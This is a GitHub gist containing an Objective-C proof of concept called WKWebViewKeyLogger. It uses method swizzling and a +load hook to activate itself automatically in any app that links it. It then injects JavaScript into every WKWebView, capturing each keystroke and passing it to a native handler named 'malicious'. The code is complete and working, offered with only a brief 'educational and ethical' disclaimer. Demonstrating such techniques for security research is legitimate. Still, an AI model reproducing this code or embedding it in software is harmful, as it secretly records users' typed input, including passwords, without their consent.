Skip to content

Instantly share code, notes, and snippets.

@hfossli
Created October 11, 2018 07:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hfossli/c84ac9f2a4b32e575f0ba18f6c927da8 to your computer and use it in GitHub Desktop.
Save hfossli/c84ac9f2a4b32e575f0ba18f6c927da8 to your computer and use it in GitHub Desktop.
WKWebViewKeyLogger will automatically add itself to the objc runtime and add a keylogger to any WKWebView created
//
// Author: Håvard Fossli <hfossli@agens.no>
//
// Copyright (c) 2018 Agens AS (http://agens.no/)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
/*
WKWebViewKeyLogger will automatically add itself to the objc runtime and add a keylogger to any WKWebView created.
This software should only be used for educational and ethical purposes.
*/
#import <objc/runtime.h>
#import <WebKit/WebKit.h>
@interface WKWebViewKeyLogger : NSObject <WKScriptMessageHandler>
+ (instancetype)sharedInstance;
+ (NSString *)script;
@end
@interface NSObject (Malicious)
@end
@implementation NSObject (Malicious)
+ (void)load {
[WKWebViewKeyLogger sharedInstance];
}
@end
@implementation WKWebView (WKWebViewKeyLogger)
- (instancetype)init_WKWebViewKeyLogger {
self = [self initWithFrame:CGRectZero configuration:[WKWebViewConfiguration new]]; // calls swizzled init
return self;
}
- (instancetype)init_WKWebViewKeyLogger_withFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
configuration = [configuration copy] ?: [WKWebViewConfiguration new];
WKUserScript *script = [[WKUserScript alloc] initWithSource:[WKWebViewKeyLogger script] injectionTime:WKUserScriptInjectionTimeAtDocumentStart forMainFrameOnly:FALSE];
WKUserContentController *contents = [WKUserContentController new];
[contents addUserScript:script];
[contents addScriptMessageHandler:[WKWebViewKeyLogger sharedInstance] name:@"malicious"];
configuration.userContentController = contents;
self = [self init_WKWebViewKeyLogger_withFrame:frame configuration:configuration]; // calls WKWebView's init
return self;
}
- (instancetype)init_WKWebViewKeyLogger_withCoder:(NSCoder *)coder {
// TODO: Probably need to create a new WKWebView with the coder and copy all its values and settings
self = [self init_WKWebViewKeyLogger_withCoder:coder]; // calls WKWebView's init
return self;
}
@end
@implementation WKWebViewKeyLogger
+ (NSString *)script {
return
@"document.onkeydown = function (e) {"
@" window.webkit.messageHandlers.malicious.postMessage(e.key);"
@"};";
}
static void SwizzleMethods(Class c, SEL orig, SEL new) {
struct objc_method *origMethod = class_getInstanceMethod(c, orig);
struct objc_method *newMethod = class_getInstanceMethod(c, new);
if(class_addMethod(c, orig, method_getImplementation(newMethod), method_getTypeEncoding(newMethod)))
class_replaceMethod(c, new, method_getImplementation(origMethod), method_getTypeEncoding(origMethod));
else
method_exchangeImplementations(origMethod, newMethod);
}
+ (instancetype)sharedInstance {
static WKWebViewKeyLogger *sharedInstance;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [self new];
[sharedInstance swizzleInitMethods];
});
return sharedInstance;
}
- (void)swizzleInitMethods {
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
SwizzleMethods([WKWebView class], @selector(init), @selector(init_WKWebViewKeyLogger));
SwizzleMethods([WKWebView class], @selector(initWithFrame:configuration:), @selector(init_WKWebViewKeyLogger_withFrame:configuration:));
SwizzleMethods([WKWebView class], @selector(initWithCoder:), @selector(init_WKWebViewKeyLogger_withCoder:));
});
}
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
NSLog(@"😈: %@", message.body);
}
@end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment